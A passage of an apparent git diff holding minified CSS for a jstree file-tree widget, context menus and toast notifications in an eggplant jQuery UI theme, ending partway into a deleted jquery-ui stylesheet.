.jstree-themeicon,.jstree-anchor>.jstree-themeicon-hidden{display:none}.jstree-hidden,.jstree-node.jstree-hidden{display:none}.jstree-rtl .jstree-anchor{padding:0 1px 0 4px}.jstree-rtl .jstree-anchor>.jstree-themeicon{margin-left:2px;margin-right:0}.jstree-rtl .jstree-node{margin-left:0}.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-wholerow-ul{position:relative;display:inline-block;min-width:100%}.jstree-wholerow-ul .jstree-leaf>.jstree-ocl{cursor:pointer}.jstree-wholerow-ul .jstree-anchor,.jstree-wholerow-ul .jstree-icon{position:relative}.jstree-wholerow-ul .jstree-wholerow{width:100%;cursor:pointer;position:absolute;left:0;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.jstree-contextmenu .jstree-anchor{-webkit-user-select:none;-webkit-touch-callout:none}.vakata-context{display:none}.vakata-context,.vakata-context ul{margin:0;padding:2px;position:absolute;background:#f5f5f5;border:1px solid #979797;-webkit-box-shadow:2px 2px 2px #999;box-shadow:2px 2px 2px #999}.vakata-context ul{list-style:none;left:100%;margin-top:-2.7em;margin-left:-4px}.vakata-context .vakata-context-right ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context li{list-style:none}.vakata-context li>a{display:block;padding:0 2em;text-decoration:none;width:auto;color:#000;white-space:nowrap;line-height:2.4em;text-shadow:1px 1px 0 #fff;-webkit-border-radius:1px;border-radius:1px}.vakata-context li>a:hover{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAIORI4JlrqN1oMSnmmZDQUAOw==);background-position:right center;background-repeat:no-repeat}.vakata-context li>a:focus{outline:0}.vakata-context .vakata-context-hover>a{position:relative;background-color:#e8eff7;-webkit-box-shadow:0 0 2px #0a6aa1;box-shadow:0 0 2px #0a6aa1}.vakata-context .vakata-context-separator>a,.vakata-context .vakata-context-separator>a:hover{background:#fff;border:0;border-top:1px solid #e2e3e3;height:1px;min-height:1px;max-height:1px;padding:0;margin:0 0 0 2.4em;border-left:1px solid #e0e0e0;text-shadow:0 0 0 transparent;-webkit-box-shadow:0 0 0 transparent;box-shadow:0 0 0 transparent;-webkit-border-radius:0;border-radius:0}.vakata-context .vakata-contextmenu-disabled a,.vakata-context .vakata-contextmenu-disabled a:hover{color:silver;background-color:transparent;border:0;box-shadow:0 0 0}.vakata-context .vakata-contextmenu-disabled>a>i{filter:grayscale(100%)}.vakata-context li>a>i{text-decoration:none;display:inline-block;width:2.4em;height:2.4em;background:transparent;margin:0 0 0 -2em;vertical-align:top;text-align:center;line-height:2.4em}.vakata-context li>a>i:empty{width:2.4em;line-height:2.4em}.vakata-context li>a .vakata-contextmenu-sep{display:inline-block;width:1px;height:2.4em;background:#fff;margin:0 .5em 0 0;border-left:1px solid #e2e3e3}.vakata-context .vakata-contextmenu-shortcut{font-size:.8em;color:silver;opacity:.5;display:none}.vakata-context-rtl ul{left:auto;right:100%;margin-left:auto;margin-right:-4px}.vakata-context-rtl li>a.vakata-context-parent{background-image:url(data:image/gif;base64,R0lGODlhCwAHAIAAACgoKP///yH5BAEAAAEALAAAAAALAAcAAAINjI+AC7rWHIsPtmoxLAA7);background-position:left center;background-repeat:no-repeat}.vakata-context-rtl .vakata-context-separator>a{margin:0 2.4em 0 0;border-left:0;border-right:1px solid #e2e3e3}.vakata-context-rtl .vakata-context-left ul{right:auto;left:100%;margin-left:-4px;margin-right:auto}.vakata-context-rtl li>a>i{margin:0 -2em 0 0}.vakata-context-rtl li>a .vakata-contextmenu-sep{margin:0 0 0 .5em;border-left-color:#fff;background:#e2e3e3}#jstree-marker{position:absolute;top:0;left:0;margin:-5px 0 0;padding:0;border-right:0;border-top:5px solid transparent;border-bottom:5px solid transparent;border-left:5px solid;width:0;height:0;font-size:0;line-height:0}#jstree-dnd{line-height:16px;margin:0;padding:4px}#jstree-dnd .jstree-icon,#jstree-dnd .jstree-copy{display:inline-block;text-decoration:none;margin:0 2px 0 0;padding:0;width:16px;height:16px}#jstree-dnd .jstree-ok{background:green}#jstree-dnd .jstree-er{background:red}#jstree-dnd .jstree-copy{margin:0 2px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-repeat:no-repeat;background-color:transparent}.jstree-default .jstree-anchor,.jstree-default .jstree-animated,.jstree-default .jstree-wholerow{transition:background-color 0.15s,box-shadow .15s}.jstree-default .jstree-hovered{background:#555;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #555;box-shadow:inset 0 0 1px #555}.jstree-default .jstree-context{background:#555;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #555;box-shadow:inset 0 0 1px #ccc}.jstree-default .jstree-clicked{background:#5fa2db;-webkit-border-radius:2px;border-radius:2px;-webkit-box-shadow:inset 0 0 1px #666;box-shadow:inset 0 0 1px #666}.jstree-default .jstree-no-icons .jstree-anchor>.jstree-themeicon{display:none}.jstree-default .jstree-disabled{background:transparent;color:#666}.jstree-default .jstree-disabled.jstree-hovered{background:transparent;box-shadow:none}.jstree-default .jstree-disabled.jstree-clicked{background:#333}.jstree-default .jstree-disabled>.jstree-icon{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default .jstree-search{font-style:italic;color:#fff;font-weight:700}.jstree-default .jstree-no-checkboxes .jstree-checkbox{display:none!important}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked{background:transparent;box-shadow:none}.jstree-default.jstree-checkbox-no-clicked .jstree-clicked.jstree-hovered{background:#555}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked{background:transparent}.jstree-default.jstree-checkbox-no-clicked>.jstree-wholerow-ul .jstree-wholerow-clicked.jstree-wholerow-hovered{background:#555}.jstree-default>.jstree-striped{min-width:100%;display:inline-block;background:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAAkCAMAAAB/qqA+AAAABlBMVEUAAAAAAAClZ7nPAAAAAnRSTlMNAMM9s3UAAAAXSURBVHjajcEBAQAAAIKg/H/aCQZ70AUBjAATb6YPDgAAAABJRU5ErkJggg==) left top repeat}.jstree-default>.jstree-wholerow-ul .jstree-hovered,.jstree-default>.jstree-wholerow-ul .jstree-clicked{background:transparent;-webkit-box-shadow:none;box-shadow:none;-webkit-border-radius:0;border-radius:0}.jstree-default .jstree-wholerow{-moz-box-sizing:border-box;-webkit-box-sizing:border-box;box-sizing:border-box}.jstree-default .jstree-wholerow-hovered{background:#555}.jstree-default .jstree-wholerow-clicked{background:#5fa2db;background:-webkit-linear-gradient(top,#5fa2db 0%,#5fa2db 100%);background:linear-gradient(to bottom,#5fa2db 0%,#5fa2db 100%)}.jstree-default .jstree-node{min-height:24px;line-height:24px;margin-left:24px;min-width:24px}.jstree-default .jstree-anchor{line-height:24px;height:24px}.jstree-default .jstree-icon{width:24px;height:24px;line-height:24px}.jstree-default .jstree-icon:empty{width:24px;height:24px;line-height:24px}.jstree-default.jstree-rtl .jstree-node{margin-right:24px}.jstree-default .jstree-wholerow{height:24px}.jstree-default .jstree-node,.jstree-default .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/32px.png)}.jstree-default .jstree-node{background-position:-292px -4px;background-repeat:repeat-y}.jstree-default .jstree-last{background:transparent}.jstree-default .jstree-open>.jstree-ocl{background-position:-132px -4px}.jstree-default .jstree-closed>.jstree-ocl{background-position:-100px -4px}.jstree-default .jstree-leaf>.jstree-ocl{background-position:-68px -4px}.jstree-default .jstree-themeicon{background-position:-260px -4px}.jstree-default>.jstree-no-dots .jstree-node,.jstree-default>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -4px}.jstree-default>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -4px}.jstree-default .jstree-disabled{background:transparent}.jstree-default .jstree-disabled.jstree-hovered{background:transparent}.jstree-default .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default .jstree-checkbox{background-position:-164px -4px}.jstree-default .jstree-checkbox:hover{background-position:-164px -36px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default .jstree-checked>.jstree-checkbox{background-position:-228px -4px}.jstree-default.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default .jstree-checked>.jstree-checkbox:hover{background-position:-228px -36px}.jstree-default .jstree-anchor>.jstree-undetermined{background-position:-196px -4px}.jstree-default .jstree-anchor>.jstree-undetermined:hover{background-position:-196px -36px}.jstree-default .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default>.jstree-striped{background-size:auto 48px}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default.jstree-rtl .jstree-open>.jstree-ocl{background-position:-132px -36px}.jstree-default.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-100px -36px}.jstree-default.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-68px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-36px -36px}.jstree-default.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-4px -36px}.jstree-default .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/eggplant/images/throbber.gif) center center no-repeat}.jstree-default .jstree-file{background:url(assets/jqueryui/eggplant/images/32px.png) -100px -68px no-repeat}.jstree-default .jstree-folder{background:url(assets/jqueryui/eggplant/images/32px.png) -260px -4px no-repeat}.jstree-default>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default{line-height:24px;padding:0 4px}#jstree-dnd.jstree-default .jstree-ok,#jstree-dnd.jstree-default .jstree-er{background-image:url(assets/jqueryui/eggplant/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default i{background:transparent;width:24px;height:24px;line-height:24px}#jstree-dnd.jstree-default .jstree-ok{background-position:-4px -68px}#jstree-dnd.jstree-default .jstree-er{background-position:-36px -68px}.jstree-default .jstree-ellipsis{overflow:hidden}.jstree-default .jstree-ellipsis .jstree-anchor{width:calc(100% - 29px);text-overflow:ellipsis;overflow:hidden}.jstree-default.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==)}.jstree-default.jstree-rtl .jstree-last{background:transparent}.jstree-default-small .jstree-node{min-height:18px;line-height:18px;margin-left:18px;min-width:18px}.jstree-default-small .jstree-anchor{line-height:18px;height:18px}.jstree-default-small .jstree-icon{width:18px;height:18px;line-height:18px}.jstree-default-small .jstree-icon:empty{width:18px;height:18px;line-height:18px}.jstree-default-small.jstree-rtl .jstree-node{margin-right:18px}.jstree-default-small .jstree-wholerow{height:18px}.jstree-default-small .jstree-node,.jstree-default-small .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/32px.png)}.jstree-default-small .jstree-node{background-position:-295px -7px;background-repeat:repeat-y}.jstree-default-small .jstree-last{background:transparent}.jstree-default-small .jstree-open>.jstree-ocl{background-position:-135px -7px}.jstree-default-small .jstree-closed>.jstree-ocl{background-position:-103px -7px}.jstree-default-small .jstree-leaf>.jstree-ocl{background-position:-71px -7px}.jstree-default-small .jstree-themeicon{background-position:-263px -7px}.jstree-default-small>.jstree-no-dots .jstree-node,.jstree-default-small>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -7px}.jstree-default-small>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -7px}.jstree-default-small .jstree-disabled{background:transparent}.jstree-default-small .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-small .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-small .jstree-checkbox{background-position:-167px -7px}.jstree-default-small .jstree-checkbox:hover{background-position:-167px -39px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-small .jstree-checked>.jstree-checkbox{background-position:-231px -7px}.jstree-default-small.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-small .jstree-checked>.jstree-checkbox:hover{background-position:-231px -39px}.jstree-default-small .jstree-anchor>.jstree-undetermined{background-position:-199px -7px}.jstree-default-small .jstree-anchor>.jstree-undetermined:hover{background-position:-199px -39px}.jstree-default-small .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-small>.jstree-striped{background-size:auto 36px}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-small.jstree-rtl .jstree-open>.jstree-ocl{background-position:-135px -39px}.jstree-default-small.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-103px -39px}.jstree-default-small.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-71px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-39px -39px}.jstree-default-small.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:-7px -39px}.jstree-default-small .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-small>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/eggplant/images/throbber.gif) center center no-repeat}.jstree-default-small .jstree-file{background:url(assets/jqueryui/eggplant/images/32px.png) -103px -71px no-repeat}.jstree-default-small .jstree-folder{background:url(assets/jqueryui/eggplant/images/32px.png) -263px -7px no-repeat}.jstree-default-small>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-small{line-height:18px;padding:0 4px}#jstree-dnd.jstree-default-small .jstree-ok,#jstree-dnd.jstree-default-small .jstree-er{background-image:url(assets/jqueryui/eggplant/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-small i{background:transparent;width:18px;height:18px;line-height:18px}#jstree-dnd.jstree-default-small .jstree-ok{background-position:-7px -71px}#jstree-dnd.jstree-default-small .jstree-er{background-position:-39px -71px}.jstree-default-small .jstree-ellipsis{overflow:hidden}.jstree-default-small .jstree-ellipsis .jstree-anchor{width:calc(100% - 23px);text-overflow:ellipsis;overflow:hidden}.jstree-default-small.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABIAAAACAQMAAABv1h6PAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMHBgAAiABBI4gz9AAAAABJRU5ErkJggg==)}.jstree-default-small.jstree-rtl .jstree-last{background:transparent}.jstree-default-large .jstree-node{min-height:32px;line-height:32px;margin-left:32px;min-width:32px}.jstree-default-large .jstree-anchor{line-height:32px;height:32px}.jstree-default-large .jstree-icon{width:32px;height:32px;line-height:32px}.jstree-default-large .jstree-icon:empty{width:32px;height:32px;line-height:32px}.jstree-default-large.jstree-rtl .jstree-node{margin-right:32px}.jstree-default-large .jstree-wholerow{height:32px}.jstree-default-large .jstree-node,.jstree-default-large .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/32px.png)}.jstree-default-large .jstree-node{background-position:-288px 0;background-repeat:repeat-y}.jstree-default-large .jstree-last{background:transparent}.jstree-default-large .jstree-open>.jstree-ocl{background-position:-128px 0}.jstree-default-large .jstree-closed>.jstree-ocl{background-position:-96px 0}.jstree-default-large .jstree-leaf>.jstree-ocl{background-position:-64px 0}.jstree-default-large .jstree-themeicon{background-position:-256px 0}.jstree-default-large>.jstree-no-dots .jstree-node,.jstree-default-large>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px 0}.jstree-default-large>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 0}.jstree-default-large .jstree-disabled{background:transparent}.jstree-default-large .jstree-disabled.jstree-hovered{background:transparent}.jstree-default-large .jstree-disabled.jstree-clicked{background:#efefef}.jstree-default-large .jstree-checkbox{background-position:-160px 0}.jstree-default-large .jstree-checkbox:hover{background-position:-160px -32px}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-large .jstree-checked>.jstree-checkbox{background-position:-224px 0}.jstree-default-large.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-large .jstree-checked>.jstree-checkbox:hover{background-position:-224px -32px}.jstree-default-large .jstree-anchor>.jstree-undetermined{background-position:-192px 0}.jstree-default-large .jstree-anchor>.jstree-undetermined:hover{background-position:-192px -32px}.jstree-default-large .jstree-checkbox-disabled{opacity:.8;filter:url("data:image/svg+xml;utf8,#jstree-grayscale");filter:gray;-webkit-filter:grayscale(100%)}.jstree-default-large>.jstree-striped{background-size:auto 64px}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABgAAAACAQMAAAB49I5GAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjAAMOBgAAGAAJMwQHdQAAAABJRU5ErkJggg==);background-position:100% 1px;background-repeat:repeat-y}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}.jstree-default-large.jstree-rtl .jstree-open>.jstree-ocl{background-position:-128px -32px}.jstree-default-large.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-96px -32px}.jstree-default-large.jstree-rtl .jstree-leaf>.jstree-ocl{background-position:-64px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-node,.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-open>.jstree-ocl{background-position:-32px -32px}.jstree-default-large.jstree-rtl>.jstree-no-dots .jstree-closed>.jstree-ocl{background-position:0 -32px}.jstree-default-large .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-large>.jstree-container-ul .jstree-loading>.jstree-ocl{background:url(assets/jqueryui/eggplant/images/throbber.gif) center center no-repeat}.jstree-default-large .jstree-file{background:url(assets/jqueryui/eggplant/images/32px.png) -96px -64px no-repeat}.jstree-default-large .jstree-folder{background:url(assets/jqueryui/eggplant/images/32px.png) -256px 0 no-repeat}.jstree-default-large>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}#jstree-dnd.jstree-default-large{line-height:32px;padding:0 4px}#jstree-dnd.jstree-default-large .jstree-ok,#jstree-dnd.jstree-default-large .jstree-er{background-image:url(assets/jqueryui/eggplant/images/32px.png);background-repeat:no-repeat;background-color:transparent}#jstree-dnd.jstree-default-large i{background:transparent;width:32px;height:32px;line-height:32px}#jstree-dnd.jstree-default-large .jstree-ok{background-position:0 -64px}#jstree-dnd.jstree-default-large .jstree-er{background-position:-32px -64px}.jstree-default-large .jstree-ellipsis{overflow:hidden}.jstree-default-large .jstree-ellipsis .jstree-anchor{width:calc(100% - 37px);text-overflow:ellipsis;overflow:hidden}.jstree-default-large.jstree-rtl .jstree-node{background-image:url(data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAACAAAAACAQMAAAAD0EyKAAAABlBMVEUAAAAdHRvEkCwcAAAAAXRSTlMAQObYZgAAAAxJREFUCNdjgIIGBgABCgCBvVLXcAAAAABJRU5ErkJggg==)}.jstree-default-large.jstree-rtl .jstree-last{background:transparent}@media (max-width:768px){#jstree-dnd.jstree-dnd-responsive{line-height:40px;font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}#jstree-dnd.jstree-dnd-responsive>i{background:transparent;width:40px;height:40px}#jstree-dnd.jstree-dnd-responsive>.jstree-ok{background-image:url(assets/jqueryui/eggplant/images/40px.png);background-position:0 -200px;background-size:120px 240px}#jstree-dnd.jstree-dnd-responsive>.jstree-er{background-image:url(assets/jqueryui/eggplant/images/40px.png);background-position:-40px -200px;background-size:120px 240px}#jstree-marker.jstree-dnd-responsive{border-left-width:10px;border-top-width:10px;border-bottom-width:10px;margin-top:-10px}.jstree-default-responsive .jstree-icon{background-image:url(assets/jqueryui/eggplant/images/40px.png)}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-node{min-height:40px;line-height:40px;margin-left:40px;min-width:40px;white-space:nowrap}.jstree-default-responsive .jstree-anchor{line-height:40px;height:40px}.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-icon:empty{width:40px;height:40px;line-height:40px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0}.jstree-default-responsive.jstree-rtl .jstree-node{margin-left:0;margin-right:40px;background:transparent}.jstree-default-responsive.jstree-rtl .jstree-container-ul>.jstree-node{margin-right:0}.jstree-default-responsive .jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-size:120px 240px}.jstree-default-responsive .jstree-leaf>.jstree-ocl,.jstree-default-responsive.jstree-rtl .jstree-leaf>.jstree-ocl{background:transparent}.jstree-default-responsive .jstree-open>.jstree-ocl{background-position:0 0!important}.jstree-default-responsive .jstree-closed>.jstree-ocl{background-position:0 -40px!important}.jstree-default-responsive.jstree-rtl .jstree-closed>.jstree-ocl{background-position:-40px 0!important}.jstree-default-responsive .jstree-themeicon{background-position:-40px -40px}.jstree-default-responsive .jstree-checkbox,.jstree-default-responsive .jstree-checkbox:hover{background-position:-40px -80px}.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox,.jstree-default-responsive.jstree-checkbox-selection .jstree-clicked>.jstree-checkbox:hover,.jstree-default-responsive .jstree-checked>.jstree-checkbox,.jstree-default-responsive .jstree-checked>.jstree-checkbox:hover{background-position:0 -80px}.jstree-default-responsive .jstree-anchor>.jstree-undetermined,.jstree-default-responsive .jstree-anchor>.jstree-undetermined:hover{background-position:0 -120px}.jstree-default-responsive .jstree-anchor{font-weight:700;font-size:1.1em;text-shadow:1px 1px #fff}.jstree-default-responsive>.jstree-striped{background:transparent}.jstree-default-responsive .jstree-wholerow{border-top:1px solid #666;border-bottom:1px solid #000;background:#333;height:40px}.jstree-default-responsive .jstree-wholerow-hovered{background:#555}.jstree-default-responsive .jstree-wholerow-clicked{background:#5fa2db}.jstree-default-responsive .jstree-children .jstree-last>.jstree-wholerow{box-shadow:inset 0 -6px 3px -5px #111}.jstree-default-responsive .jstree-children .jstree-open>.jstree-wholerow{box-shadow:inset 0 6px 3px -5px #111;border-top:0}.jstree-default-responsive .jstree-children .jstree-open + .jstree-open{box-shadow:none}.jstree-default-responsive .jstree-node,.jstree-default-responsive .jstree-icon,.jstree-default-responsive .jstree-node>.jstree-ocl,.jstree-default-responsive .jstree-themeicon,.jstree-default-responsive .jstree-checkbox{background-image:url(assets/jqueryui/eggplant/images/40px.png);background-size:120px 240px}.jstree-default-responsive .jstree-node{background-position:-80px 0;background-repeat:repeat-y}.jstree-default-responsive .jstree-last{background:transparent}.jstree-default-responsive .jstree-leaf>.jstree-ocl{background-position:-40px -120px}.jstree-default-responsive .jstree-last>.jstree-ocl{background-position:-40px -160px}.jstree-default-responsive .jstree-themeicon-custom{background-color:transparent;background-image:none;background-position:0 0}.jstree-default-responsive .jstree-file{background:url(assets/jqueryui/eggplant/images/40px.png) 0 -160px no-repeat;background-size:120px 240px}.jstree-default-responsive .jstree-folder{background:url(assets/jqueryui/eggplant/images/40px.png) -40px -40px no-repeat;background-size:120px 240px}.jstree-default-responsive>.jstree-container-ul>.jstree-node{margin-left:0;margin-right:0}}.toast-container{width:280px;z-index:9999}* html .toast-container{position:absolute}.toast-item{height:auto;background:#3d3644 url(assets/jqueryui/eggplant/images/ui-bg_gloss-wave_30_3d3644_500x100.png) 50% top repeat-x;border:2px solid #7e7783;opacity:1;-webkit-border-radius:10px;color:#fff;font-family:Lucida Grande,Lucida Sans,Arial,sans-serif;font-size:14px;display:block;position:relative;margin:0 0 12px;padding:20px 6px}.toast-item p{text-align:left;margin-left:50px}.toast-item-close{background:url(assets/jqueryui/eggplant/images/close.gif);width:22px;height:22px;position:absolute;top:7px;right:7px}.toast-item-image{width:32px;height:32px;position:absolute;top:50%;margin-top:-16px;left:10px}.toast-item-image-notice{background:url(assets/jqueryui/eggplant/images/notice.png)}.toast-item-image-success{background:url(assets/jqueryui/eggplant/images/success.png)}.toast-item-image-warning{background:url(assets/jqueryui/eggplant/images/warning.png)}.toast-item-image-error{background:url(assets/jqueryui/eggplant/images/error.png)}.toast-type-notice{color:#fff}.toast-type-success{color:#fff}.toast-type-warning{color:#000;background:#ffdb1f;border-color:#000}.toast-type-error{color:#fff;background:#994d53}.toast-type-warning .toast-item-close{display:none}.toast-position-top-left{position:fixed;left:6%;top:15px}.toast-position-top-center{position:fixed;top:15px;left:50%;margin-left:-140px}.toast-position-top-right{position:fixed;top:15px;right:6%}.toast-position-middle-left{position:fixed;left:6%;top:50%;margin-top:-40px}.toast-position-middle-center{position:fixed;left:50%;margin-left:-140px;margin-top:-40px;top:50%}.toast-position-middle-right{position:fixed;right:6%;margin-left:-140px;margin-top:-40px;top:50%}.std-icon-color{color:#dcd9de;text-shadow:-1px -1px 0 #30273a,0 -1px 0 #30273a,1px -1px 0 #30273a,1px 0 0 #30273a,1px 1px 0 #30273a,0 1px 0 #30273a,-1px 1px 0 #30273a,-1px 0 0 #30273a}.inverted-icon-color{left:-1px;color:#30273a;width:25px}.inverted-font{color:#3D3644!important}.fa-inverse{color:#3D3644!important}.context-menu-list{background-color:#DCD9DE!important}.context-menu-item{background-color:#DCD9DE!important;color:#665874!important}.context-menu-icon::before{color:#665874!important}.context-menu-icon.context-menu-hover:before{color:#D19405!important}.context-menu-item.context-menu-hover{color:#fff!important;#padding:1px,1px,1px,1px!important;#border:1px solid #2980b9!important;background-color:#3D3644!important}.context-menu-icon.context-menu-disabled::before{color:#BABFC4!important}.context-menu-icon.context-menu-icon--fa::before{color:#665874!important}.context-menu-icon.context-menu-icon--fa.context-menu-hover:before{color:#fff!important}.context-menu-icon.context-menu-icon--fa.context-menu-disabled::before{color:#BABFC4!important}.context-menu-icon.context-menu-icon--fa5 i,.context-menu-icon.context-menu-icon--fa5 svg{color:#665874!important}.context-menu-icon.context-menu-icon--fa5.context-menu-hover > i,.context-menu-icon.context-menu-icon--fa5.context-menu-hover > svg{color:#fff!important}.context-menu-icon.context-menu-icon--fa5.context-menu-disabled i,.context-menu-icon.context-menu-icon--fa5.context-menu-disabled svg{color:#BABFC4!important}.context-menu-item.context-menu-disabled{color:#BABFC4!important}.cm{cursor:url(assets/jqueryui/eggplant/images/cm.cur),context-menu!important}.main-tabs{border-color:#dcd9de #3d3644 #3d3644!important}.main-title{#border-color:#dcd9de!important} \ No newline at end of file diff --git a/assets/jqueryui/eggplant/jquery-ui.pmin.css b/assets/jqueryui/eggplant/jquery-ui.pmin.css deleted file mode 100644 index 67dd0ac..0000000 --- a/assets/jqueryui/eggplant/jquery-ui.pmin.css +++ /dev/null @@ -1 +0,0 @@ -.ui-helper-hidden{display:none}.ui-helper-hidden-accessible{border:0;clip:rect(0 0 0 0);height:1px;margin:-1px;overflow:hidden;padding:0;position:absolute;width:1px}.ui-helper-reset{margin:0;padding:0;border:0;outline:0;line-height:1.3;text-decoration:none;font-size:100%;list-style:none}.ui-helper-clearfix:before,.ui-helper-clearfix:after{content:"";display:table;border-collapse:collapse}.ui-helper-clearfix:after{clear:both}.ui-helper-zfix{width:100%;height:100%;top:0;left:0;position:absolute;opacity:0;filter:Alpha(Opacity=0)}.ui-front{z-index:100}.ui-state-disabled{cursor:default!important;pointer-events:none}.ui-icon{display:inline-block;vertical-align:middle;margin-top:-.25em;position:relative;text-indent:-99999px;overflow:hidden;background-repeat:no-repeat}.ui-widget-icon-block{left:50%;margin-left:-8px;display:block}.ui-widget-overlay{position:fixed;top:0;left:0;width:100%;height:100%}.ui-accordion .ui-accordion-header{display:block;cursor:pointer;position:relative;margin:2px 0 0 0;padding:.5em .5em .5em .7em;font-size:100%}.ui-accordion .ui-accordion-content{padding:1em 